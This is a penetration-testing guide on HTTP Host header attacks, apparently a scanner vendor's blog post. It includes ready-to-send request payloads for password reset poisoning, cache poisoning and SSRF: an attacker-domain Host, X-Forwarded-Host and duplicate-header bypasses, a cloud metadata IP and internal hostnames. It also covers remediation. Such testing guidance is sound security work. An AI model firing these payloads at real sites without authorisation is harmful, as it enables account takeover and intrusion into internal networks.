HTTP Host Header Attacks: Password Reset Poisoning, Cache Poisoning, and SSRF
The HTTP Host header is one of the most widely trusted pieces of input in web applications — and one of the most frequently mishandled. Applications use it to generate absolute URLs, construct password reset links, route requests in reverse proxies, and make backend service calls. When that trust is unvalidated, the consequences range from phishing-quality account takeover to cache-wide poisoning affecting every user of your application.
Host header attacks are a category of server-side injection that exploits the disconnect between what an application trusts and what it should. This guide covers the main attack variants and how to test for them.
Why Applications Trust the Host Header
In HTTP/1.1, the Host header is mandatory and identifies which virtual host the client wants. In a single-server deployment, most developers assume the Host header will always contain their domain. In production, behind a CDN, load balancer, or reverse proxy, this assumption is sometimes — but not always — correct.
Some reverse proxies forward the original Host header verbatim to the backend. Others set it to the backend service address. Applications that read $_SERVER['HTTP_HOST'] (PHP), request.get_host() (Django), or req.headers.host (Node.js) without validation are using attacker-controlled input to generate trusted output.
Password Reset Poisoning
This is the most directly impactful Host header attack. The typical password reset flow:
- User submits their email address to the password reset endpoint
- Application generates a token, stores it, and constructs a reset URL:
https://example.com/reset?token=abc123 - Application emails the URL to the user
- User clicks the link, token is validated, password is changed
The vulnerability: in step 2, many applications construct the URL using the Host header to determine the domain. If an attacker can control that header, they can make the reset URL point to their own domain.
Testing Password Reset Poisoning
# Basic Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
# If the application generates a reset link using the Host header,
# the victim receives: https://attacker.com/reset?token=abc123
# The attacker captures the token from their server logs.
Real-world variations and bypasses:
# X-Forwarded-Host (often trusted by frameworks and proxies)
POST /forgot-password HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.com
# X-Host
Host: example.com
X-Host: attacker.com
# Absolute URL in request line
POST https://attacker.com/forgot-password HTTP/1.1
Host: example.com
# Duplicate Host headers (parser inconsistency)
Host: example.com
Host: attacker.com
# Host with port override
Host: example.com:@attacker.com
# Subdomain with attacker domain appended
Host: example.com.attacker.com
Success condition: the victim receives a password reset email containing a link to your controlled domain. The token is captured when the victim clicks the link. The attack is then a straightforward account takeover.
Framework Defaults
Many frameworks trust X-Forwarded-Host by default when they detect a proxy configuration. Django's USE_X_FORWARDED_HOST = True, Rails' config.action_dispatch.trusted_proxies, and Express applications using trust proxy all change how the host is determined. The important question is whether your application validates the resolved host against a known-good list.
Web Cache Poisoning via Host Header
Web caches (CDNs, reverse proxies, application-level caches) typically use the URL as the cache key — but include the full response, which may have been generated using the Host header. If the cache doesn't include the Host header in its cache key, an attacker can inject a malicious response that is then served to all subsequent users who request that URL.
How It Works
# Attacker sends a request with a poisoned Host header
GET / HTTP/1.1
Host: attacker.com
# The server responds with a page that includes:
# <script src="https://attacker.com/malicious.js"></script>
# or
# Location: https://attacker.com/phishing
# If the cache stores this response keyed only on the URL path (/)
# the next legitimate user who requests / gets the poisoned response.
The impact depends on what the application puts the Host header into. Common targets:
- JavaScript bundle URLs (
src="https://[HOST]/bundle.js") - CSS and font URLs
- Open Graph and canonical meta tags
- Redirect Location headers
- Link preload headers
Testing Cache Poisoning
# Check if Host header changes the response
# Use a unique cache-buster to avoid poisoning production
GET /?cb=test1234 HTTP/1.1
Host: attacker.com
# Compare response to:
GET /?cb=test1234 HTTP/1.1
Host: example.com
# If the responses differ in ways that include the host value,
# the application is reflecting the Host header into output.
# Next: determine if the cache key includes the Host header.
# Send the poisoned request without a cache buster:
GET / HTTP/1.1
Host: attacker.com
# Then request as a normal user and observe if the poisoned response appears.
Use Burp Suite's param miner extension to automate cache poisoning discovery — it systematically tests headers and parameters that affect the response without appearing in the cache key.
SSRF via Host Header
Some applications forward the Host header to internal services, or use it to construct backend API calls. In these cases, an attacker-controlled Host header becomes SSRF.
# Application uses Host header to construct internal service call
GET /api/user/profile HTTP/1.1
Host: internal-api.example.local
# Backend code might be doing:
# response = http.get(f"http://{request.host}/internal/user")
# An attacker changes Host to redirect to:
Host: 169.254.169.254 # AWS metadata service
Host: 192.168.1.1 # Internal network gateway
The vulnerability is more nuanced than direct Host-to-URL mapping. Look for applications that:
- Pass the Host header to server-side HTTP clients
- Use the Host header to construct webhook delivery URLs
- Use the Host header in multi-tenant routing to determine which backend to use
- Proxy requests based on the Host header value
Routing-Based SSRF (Internal Service Discovery)
In microservice architectures, reverse proxies often route requests to different backends based on the Host header. If the proxy doesn't validate that the Host belongs to a known virtual host, an attacker can use the proxy as a gateway to internal services.
# Normal request: routes to public web frontend
GET / HTTP/1.1
Host: example.com
# Attacker request: routes to internal admin service
GET / HTTP/1.1
Host: admin.internal
# Or direct IP-based routing
GET / HTTP/1.1
Host: 10.0.0.50
This turns a public-facing proxy into an internal network scanner. Combined with a brute-force of common internal hostnames and IP ranges, it can expose services that were never intended to be reachable from the internet.
Testing Methodology
Step 1: Baseline
First, understand what the application does with the Host header in legitimate requests. Look for the host value reflected in:
- HTML (links, canonical URLs, form actions, script sources)
- HTTP response headers (Location, Link)
- Emails (particularly password reset and notification emails)
- API responses that generate URLs
Step 2: Inject a Controlled Host Value
# Use Burp Suite's Collaborator or interactserver.io for out-of-band detection
GET / HTTP/1.1
Host: burpcollaborator.net
# Also test secondary headers
X-Forwarded-Host: burpcollaborator.net
X-Forwarded-Server: burpcollaborator.net
X-HTTP-Host-Override: burpcollaborator.net
Forwarded: host=burpcollaborator.net
Step 3: Test Specific Attack Vectors
# Password reset poisoning
POST /forgot-password
Host: attacker-domain.com
# Test with email belonging to a test account you control.
# Check if the reset email contains the injected host.
# Cache poisoning - use unique cache busters to test without affecting prod
GET /?cachebust=uniquevalue123
Host: attacker-domain.com
# Then check if normal users see the poisoned response.
# Routing bypass - try internal service names
GET /admin
Host: localhost
Host: 127.0.0.1
Host: 0.0.0.0
Host: internal.company.name
Common Header Variations to Test
| Header | Notes |
|---|---|
Host |
Primary target; always test first |
X-Forwarded-Host |
Trusted by many frameworks and proxies |
X-Host |
Less common but sometimes processed |
X-Forwarded-Server |
Used by some proxy configurations |
X-HTTP-Host-Override |
Nginx-specific in some configurations |
Forwarded |
RFC 7239 standard; less universally processed |
Remediation
Validate the Host header against a whitelist. Every framework provides a way to specify allowed hosts. This is the most reliable fix.
- Django:
ALLOWED_HOSTS = ['example.com', 'www.example.com'] - Rails:
config.hosts = ['example.com'](enabled by default in Rails 6+) - Express: Validate
req.hostnameagainst a known list before using it in URLs - Spring: Configure
AllowedHostsin security configuration
Don't use the Host header to generate absolute URLs. Use a configured base URL instead — a value that comes from your environment configuration, not from the incoming request. This is especially important for password reset emails and canonical URL generation.
Configure your reverse proxy to strip or validate the Host header. Nginx should specify server_name explicitly and reject requests that don't match. In most configurations, this is the right place to enforce Host header validity rather than the application layer.
Ensure the cache key includes the Host header. If your cache differentiates responses by Host value, include Host (or X-Forwarded-Host) in the cache key. This prevents poisoning across users who share the same URL path but sent different headers.
Disable unnecessary header forwarding. Reverse proxies should not forward X-Forwarded-Host unless explicitly required. When they do forward it, the application must still validate the value.
Ironimo tests for Host header injection across password reset flows, cache poisoning scenarios, and SSRF vectors — the same techniques professional pentesters use, running automatically against your application. No configuration required.
Start free scan